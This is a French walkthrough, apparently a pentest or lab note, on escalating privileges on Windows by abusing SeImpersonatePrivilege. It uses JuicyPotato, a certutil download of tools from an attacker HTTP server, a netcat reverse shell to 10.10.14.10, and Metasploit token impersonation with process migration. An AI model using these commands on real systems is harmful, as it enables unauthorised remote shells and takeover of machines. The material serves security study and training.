# SeImpersonatePrivilege (whoami /priv) - Windows Privilege Escalation

> Le privilège **SeImpersonatePrivilege** permet à un processus d'usurper l'identité d'un autre utilisateur ou processus. Cela signifie qu'il peut agir avec les permissions de cet utilisateur, souvent utilisé pour des opérations nécessitant des privilèges élevés. Ce privilège est souvent exploité dans des attaques comme **Juicy Potato** ou **Rogue Potato** pour obtenir une élévation de privilèges sur un système Windows.

Nous avons constaté que l’utilisateur possède le privilège `SeImpersonatePrivilege`, ce qui le rend vulnérable à certaines techniques d'élévation de privilèges. La commande ci-dessous nous confirme la présence de ce privilège :

```bash
whoami /priv
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fo5m04QVlIr0RSdfWHbD0%2Fimage.png?alt=media&#x26;token=d0cdf027-4d5c-4536-b5db-52c9081486c0" alt=""><figcaption></figcaption></figure>

### Manual Exploitatation :

Pour exploiter cette vulnérabilité, nous utiliserons **JuicyPotato**, un outil bien connu pour abuser de ce privilège dans le contexte Windows.

**Téléchargement des Outils Nécessaires**

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

{% embed url="<https://eternallybored.org/misc/netcat/>" %}

**Démarrage d'un serveur HTTP** sur notre machine d'attaque pour servir les fichiers:&#x20;

```bash
python3 -m http.server 8080
```

**Transfert des Fichiers vers la Machine Cible** en utilisant `certutil` :

```powershell
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe
certutil.exe -f -urlcache -split http://10.10.14.10:8080/nc64.exe
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FRvkXcda37yGFso37Mf0L%2F%7B7A5EA247-6705-4AE6-9179-CC05D7C19D62%7D.png?alt=media&#x26;token=0b49d57a-a754-4e51-a07c-bf5e0811b5cd" alt=""><figcaption></figcaption></figure>

**Exécution de JuicyPotato pour l’Élévation de Privilège**

Nous allons maintenant exécuter JuicyPotato pour obtenir une session privilégiée. La commande suivante lance JuicyPotato, qui exécute `cmd.exe` avec des privilèges élevés et initie une connexion vers notre machine d'attaque via Netcat :

```powershell
.\JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\privesc\nc.exe -e cmd 10.10.14.10 1234"
```

**Connexion à la Session Élevée**

Pour intercepter la connexion, nous nous mettons en écoute sur le port 1234 :

```bash
rlwrap nc -nvlp 1234
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fj5Jzz95WUf0BtMWSHe8I%2Fimage.png?alt=media&#x26;token=e97195af-1a2d-4374-a88f-208df352c373" alt="" width="563"><figcaption></figcaption></figure>

### Metasploit exploitation&#x20;

Charger le module **Incognito** pour l'impersonation :

```bash
load incognito
list_tokens -u
```

* Cela affichera les tokens disponibles pour l'impersonation.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FImiNp3s1yBfztFOftj5f%2Fimage.png?alt=media&#x26;token=d97e9f8a-c99b-44e2-a1c6-449bec00982c" alt=""><figcaption></figcaption></figure>

Pour changer de token et usurper l'identité d'un administrateur :

```
impersonate_token "ATTACKDEFENSE\Administrator"
```

* Ensuite, utiliser **getprivs** pour vérifier les privilèges. Si cela ne fonctionne pas, essayer de migrer vers un autre processus.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FwM7h8ZTIjhdKSFUtDsMd%2Fimage.png?alt=media&#x26;token=d3f345aa-599a-4819-9a6d-77697bc86216" alt=""><figcaption></figcaption></figure>

**Migration de Processus**

* Pour migrer vers un processus spécifique, nous pouvons utiliser **pgrep** pour lister les processus en cours et sélectionner un PID (par exemple, `3512` pour **explorer.exe**).

```bash
pgrep explorer
```

* résultat 3512

```
migrate 3512
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FLz3JWAmtIj4NF8oHcVmP%2Fimage.png?alt=media&#x26;token=ad441448-873b-4782-afd4-5ae5c6b42408" alt=""><figcaption></figcaption></figure>

**Utilisation de `getprivs`**

* Une fois le processus migré, utiliser **getprivs** pour vérifier si les privilèges ont été correctement escaladés.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FixlJIM0PYD2x6WDJTi2d%2Fimage.png?alt=media&#x26;token=6142cc4d-62cb-4c8c-a12a-f4250eb5378b" alt="" width="563"><figcaption></figcaption></figure>
